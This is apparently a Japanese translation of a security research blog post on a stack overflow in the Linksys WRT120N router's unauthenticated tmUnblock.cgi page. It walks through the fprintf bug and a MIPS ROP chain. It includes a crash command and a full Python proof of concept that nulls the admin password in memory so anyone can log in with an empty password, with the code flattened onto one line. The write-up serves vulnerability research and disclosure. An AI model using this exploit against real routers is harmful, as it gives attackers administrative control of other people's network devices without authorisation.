Linksys WRT120Nのfprintfのオーバーフロースタック

復号化されたファームウェアデバイスへのJTAGアクセス受け取ったら、いくつかの興味深いバグについてコードを調査する時が来ました。

前に学んだように、WRT120NはRTOSで実行されます。 セキュリティ上の理由から、RTOS WEB管理インターフェイスはHTTP基本認証を使用します。



画像



ほとんどのページでは認証が必要ですが、明示的に禁止しているページがいくつかあります。



画像



画像



これらのURLへの要求はすべて認証なしで実行されるため、これはバグを見つけるのに適した場所です。



これらのページには、実際には存在しないものもあれば、存在するものの何もしないものもあります(NULL関数)。 ただし、/ cgi / tmUnBlock.cgiのページには、ユーザーデータを処理する何らかの種類のハンドラーがあります。

画像



考慮すべき興味深いコードは次のとおりです。

fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL"));
      
      







一見、まともなように見えますが、 fprintfの実装がないため、POST要求のTM_Block_URLパラメーターの処理は脆弱です。

画像



はい、 fprintfは形式と引数を指定してvsprintfを呼び出し、それを256バイトに制限されたローカルバッファーに入れます。

画像

自分を尊重します。 sprintfを使用しないでください。



これは、POSTパラメーターTM_Block_URLが246バイト(sizeof(buf)-strlen(“ Location:”))を超える場合、 fprintfでスタックオーバーフローを引き起こすことを意味します。

 $ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi
      
      





画像

ステクトレースフォール



0x81544AF0にある管理者パスワードなど、メモリ内の重要なデータを上書きする簡単なエクスプロイトを実行してみましょう。

画像



管理者パスワードは標準のNULL終了文字列であるため、アドレスにNULLバイトを1つしか書き込むことができない場合、空のパスワードでルーターにログインできます。 悪用後もシステムが正常に動作し続けることを確認する必要があります。



fprintf関数の最後を見ると、レジスタ$ raと$ s0がスタックから復元されていることがわかります。つまり、スタックをオーバーフローさせるときにこれらのレジスタを管理できます。

画像



0x8031F634には、$ゼロレジスタから4つのNULLバイトを$ s0レジスタのアドレスに書き込む別の優れたコードがあります。

画像



オーバーフローを使用してfprintfが0x8031F634に戻り、$ s0を管理パスワード(0x81544AF0)のアドレスで上書きする場合、このコードは次のことを行います。





最後の点は問題です。 システムがクラッシュせずに動作し続ける必要がありますが、 fprintfとしてcgi_tmUnBlock関数に戻って実行すると、16バイトのスタックオフセットが得られます。



使用可能なMIPS ROPガジェット(逆方向プログラミングを実行するための一連の命令、およそ)を見つけることは、スタックポインターを16バイト減らすことには問題があるので、逆に進みます。



fprintfcgi_tmUnblockに戻ることになっているアドレスを見ると、彼が行うことは、スタックから$ ra、$ s1、および$ s0を復元し、戻って0×60をスタックポインターに追加することだけです。

画像



もちろん、それを行うガジェットはありませんが、アドレス0x803471B8には良いものがあります。

画像



このガジェットはスタックに0×10だけを追加しますが、それは問題ではありません。 追加のスタックフレームを作成して、ROPガジェットを5回それ自体に戻します。 5回目の反復で、 cgi_tmUnblockに渡した$ ra、$ s1および$ s0の元の値がスタックから復元され、ROPガジェットが呼び出し元のcgi_tmUnblockに戻ります。

画像



スタックとレジスタの値が正しい場合、システムは何も起こらなかったかのように動作し続けます。 PoC( ダウンロード )は次のとおりです。

 import sys import urllib2 try: target = sys.argv[1] except IndexError: print "Usage: %s <target ip>" % sys.argv[0] sys.exit(1) url = target + '/cgi-bin/tmUnblock.cgi' if '://' not in url: url = 'http://' + url post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=" post_data += "B" * 246 # Filler post_data += "\x81\x54\x4A\xF0" # $s0, address of admin password in memory post_data += "\x80\x31\xF6\x34" # $ra post_data += "C" * 0x28 # Stack filler post_data += "D" * 4 # ROP 1 $s0, don't care post_data += "\x80\x34\x71\xB8" # ROP 1 $ra (address of ROP 2) post_data += "E" * 8 # Stack filler for i in range(0, 4): post_data += "F" * 4 # ROP 2 $s0, don't care post_data += "G" * 4 # ROP 2 $s1, don't care post_data += "\x80\x34\x71\xB8" # ROP 2 $ra (address of itself) post_data += "H" * (4-(3*(i/3))) # Stack filler; needs to be 4 bytes except for the # last stack frame where it needs to be 1 byte (to # account for the trailing "\n\n" and terminating # NULL byte) try: req = urllib2.Request(url, post_data) res = urllib2.urlopen(req) except urllib2.HTTPError as e: if e.code == 500: print "OK" else: print "Received unexpected server response:", str(e) except KeyboardInterrupt: pass
      
      





画像



コードの実行も可能ですが、これについては改めて説明します。



All Articles